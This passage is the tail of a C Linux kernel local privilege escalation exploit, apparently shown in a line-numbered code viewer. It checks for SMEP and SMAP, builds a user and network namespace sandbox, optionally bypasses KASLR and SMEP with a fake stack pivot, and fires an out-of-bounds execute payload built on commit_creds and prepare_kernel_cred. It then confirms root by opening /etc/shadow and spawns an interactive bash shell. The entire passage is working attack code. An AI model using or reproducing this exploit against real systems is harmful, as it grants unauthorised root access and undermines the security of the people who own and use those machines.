| 447 | printf("[-] SMAP detected, no bypass available\n");
| |
| 448 | exit(EXIT_FAILURE); | |
| 449 | } | |
| 450 | #if !ENABLE_SMEP_BYPASS | |
| 451 | if (rv >= 1) {
| |
| 452 | printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
| |
| 453 | exit(EXIT_FAILURE); | |
| 454 | } | |
| 455 | #endif | |
| 456 | } | |
| 457 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * | |
| 458 | static bool write_file(const char* file, const char* what, ...) {
| |
| 459 | char buf[1024]; | |
| 460 | va_list args; | |
| 461 | va_start(args, what); | |
| 462 | vsnprintf(buf, sizeof(buf), what, args); | |
| 463 | va_end(args); | |
| 464 | buf[sizeof(buf) - 1] = 0; | |
| 465 | int len = strlen(buf); | |
| 466 | int fd = open(file, O_WRONLY | O_CLOEXEC); | |
| 467 | if (fd == -1) | |
| 468 | return false; | |
| 469 | if (write(fd, buf, len) != len) {
| |
| 470 | close(fd); | |
| 471 | return false; | |
| 472 | } | |
| 473 | close(fd); | |
| 474 | return true; | |
| 475 | } | |
| 476 | void setup_sandbox() {
| |
| 477 | int real_uid = getuid(); | |
| 478 | int real_gid = getgid(); | |
| 479 | if (unshare(CLONE_NEWUSER) != 0) {
| |
| 480 | printf("[!] unprivileged user namespaces are not available\n");
| |
| 481 | perror("[-] unshare(CLONE_NEWUSER)");
| |
| 482 | exit(EXIT_FAILURE); | |
| 483 | } | |
| 484 | if (unshare(CLONE_NEWNET) != 0) {
| |
| 485 | perror("[-] unshare(CLONE_NEWUSER)");
| |
| 486 | exit(EXIT_FAILURE); | |
| 487 | } | |
| 488 | if (!write_file("/proc/self/setgroups", "deny")) {
| |
| 489 | perror("[-] write_file(/proc/self/set_groups)");
| |
| 490 | exit(EXIT_FAILURE); | |
| 491 | } | |
| 492 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
| |
| 493 | perror("[-] write_file(/proc/self/uid_map)");
| |
| 494 | exit(EXIT_FAILURE); | |
| 495 | } | |
| 496 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
| |
| 497 | perror("[-] write_file(/proc/self/gid_map)");
| |
| 498 | exit(EXIT_FAILURE); | |
| 499 | } | |
| 500 | cpu_set_t my_set; | |
| 501 | CPU_ZERO(&my_set); | |
| 502 | CPU_SET(0, &my_set); | |
| 503 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
| |
| 504 | perror("[-] sched_setaffinity()");
| |
| 505 | exit(EXIT_FAILURE); | |
| 506 | } | |
| 507 | if (system("/sbin/ifconfig lo mtu 1500") != 0) {
| |
| 508 | perror("[-] system(/sbin/ifconfig lo mtu 1500)");
| |
| 509 | exit(EXIT_FAILURE); | |
| 510 | } | |
| 511 | if (system("/sbin/ifconfig lo up") != 0) {
| |
| 512 | perror("[-] system(/sbin/ifconfig lo up)");
| |
| 513 | exit(EXIT_FAILURE); | |
| 514 | } | |
| 515 | } | |
| 516 | void exec_shell() {
| |
| 517 | char* shell = "/bin/bash"; | |
| 518 | char* args[] = {shell, "-i", NULL};
| |
| 519 | execve(shell, args, NULL); | |
| 520 | } | |
| 521 | bool is_root() {
| |
| 522 | // We can't simple check uid, since we're running inside a namespace | |
| 523 | // with uid set to 0. Try opening /etc/shadow instead. | |
| 524 | int fd = open("/etc/shadow", O_RDONLY);
| |
| 525 | if (fd == -1) | |
| 526 | return false; | |
| 527 | close(fd); | |
| 528 | return true; | |
| 529 | } | |
| 530 | void check_root() {
| |
| 531 | printf("[.] checking if we got root\n");
| |
| 532 | if (!is_root()) {
| |
| 533 | printf("[-] something went wrong =(\n");
| |
| 534 | return; | |
| 535 | } | |
| 536 | printf("[+] got r00t ^_^\n");
| |
| 537 | exec_shell(); | |
| 538 | } | |
| 539 | int main(int argc, char** argv) {
| |
| 540 | printf("[.] starting\n");
| |
| 541 | printf("[.] checking distro and kernel versions\n");
| |
| 542 | detect_versions(); | |
| 543 | printf("[~] done, versions looks good\n");
| |
| 544 | printf("[.] checking SMEP and SMAP\n");
| |
| 545 | check_smep_smap(); | |
| 546 | printf("[~] done, looks good\n");
| |
| 547 | printf("[.] setting up namespace sandbox\n");
| |
| 548 | setup_sandbox(); | |
| 549 | printf("[~] done, namespace sandbox set up\n");
| |
| 550 | #if ENABLE_KASLR_BYPASS | |
| 551 | printf("[.] KASLR bypass enabled, getting kernel addr\n");
| |
| 552 | KERNEL_BASE = get_kernel_addr(); | |
| 553 | printf("[~] done, kernel text: %lx\n", KERNEL_BASE);
| |
| 554 | #endif | |
| 555 | printf("[.] commit_creds: %lx\n", COMMIT_CREDS);
| |
| 556 | printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
| |
| 557 | unsigned long payload = (unsigned long)&get_root; | |
| 558 | #if ENABLE_SMEP_BYPASS | |
| 559 | printf("[.] SMEP bypass enabled, mmapping fake stack\n");
| |
| 560 | mmap_stack(); | |
| 561 | payload = XCHG_EAX_ESP_RET; | |
| 562 | printf("[~] done, fake stack mmapped\n");
| |
| 563 | #endif | |
| 564 | printf("[.] executing payload %lx\n", payload);
| |
| 565 | oob_execute(payload); | |
| 566 | printf("[~] done, should be root now\n");
| |
| 567 | check_root(); | |
| 568 | return 0; | |
| 569 | } |